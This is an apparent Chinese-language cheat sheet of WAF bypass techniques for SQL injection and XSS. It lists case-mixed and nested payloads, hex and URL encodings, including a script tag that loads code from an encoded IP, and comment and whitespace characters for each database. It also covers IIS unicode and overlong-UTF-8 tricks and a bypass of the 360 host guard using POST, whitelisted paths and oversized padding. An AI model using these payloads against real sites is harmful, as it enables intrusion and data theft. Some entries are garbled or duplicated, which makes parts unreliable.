大部分waf是基于正则表达式
waf规则大多都有黑白名单,尤其是早期的waf,规则写的很死
绕waf类型
-
大小写转换法
-
在waf里,使用的正则不完善或者是没有用大小写转换函数
-
示例:
SQL:
sEleCt vERsIoN()
XSS:
<sCrIpt>aleRt(1)</scrIpt>
-
-
-
干扰字符污染
-
利用网站使用的语言函数特性来绕过waf的规则或者使用会无视的字符
SQL:select version();`he SQL2:select/*!*/`version`(); XSS
-
-
字符编码法
-
利用浏览器上的进制转换或者语言编码规则来绕过waf,就是对一些字符进行编码,常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、js编码、base64等等
SQL:load_file(0x633A2F77696E646F77732F6D792E696E69) XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
-
-
拼凑法
-
利用waf的不完整性,只验证一次字符串或者过滤的字符串并不完整
SQL:selselectect verversionsion(); XSS:<scr<script>rip>alalertert</scr</script>rip>
-
数据库特性
注释
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00
空白字符
SQLite3 0A 0D 0C 09 20
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
可运用的sql函数&关键字:
MySQL:
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1) union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数 concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号: limit 1 offset 0
(2)字符串截取处的逗号 mid处的逗号: mid(version() from 1 for 1)
MSSQL:
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数 Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
字符串转换函数 Ascii('a') 这里的函数可以在括号之间添加空格的,一些waf过滤不严会导致bypass Char('97')
exec
容器特性:
%
asp+iis的环境中,当我们请求的url中存在单一的百分号%时,iis+asp会将其忽略掉
%u
iis支持unicode的解析,当我们请求的url存在unicode字符串的话iis会自动将其转换
案例:
s%u0065lect->select
s%u00f0lect->select
字母a:
%u0000
%u0041
%u0061
%u00aa
%u00e2
单引号:
%u0027
%u02b9
%u02bc
%u02c8
%u2032
%uff07
%c0%27
%c0%a7
%e0%80%a7
空白:
%u0020
%uff00
%c0%20
%c0%a0
%e0%80%a0
左括号(:
%u0028
%uff08
%c0%28
%c0%a8
%e0%80%a8
右括号):
%u0029
%uff09
%c0%29
%c0%a9
%e0%80%a9
过360主机卫士SQL注入
可以发现and被过滤了
但是当语句不完整时不会过滤and,只有拼接成完整的语句时一定会拦
测试waf拦截的过程叫做模糊测试(fuzz)
?id=1 and 1=
可采用post注入的方式,即可绕过360的waf拦截
有些waf只拦get请求,在post里随便写东西就过了
黑白名单
例如利用网站后台白名单,在参数里加上白名单所允许的字符即可绕过
/index.php/system?id=1 union select 1,2,3,4,5
静态文件
js,jpg,txt,png等文件后缀,也是类似于白名单的一个机制
waf遇到这种后缀,会自动跳过检测
垃圾字符
不同的waf开发时都有设定的最大字符长度,例如曾经的阿里云长度29mb
超过字符限制,后面的就不再检测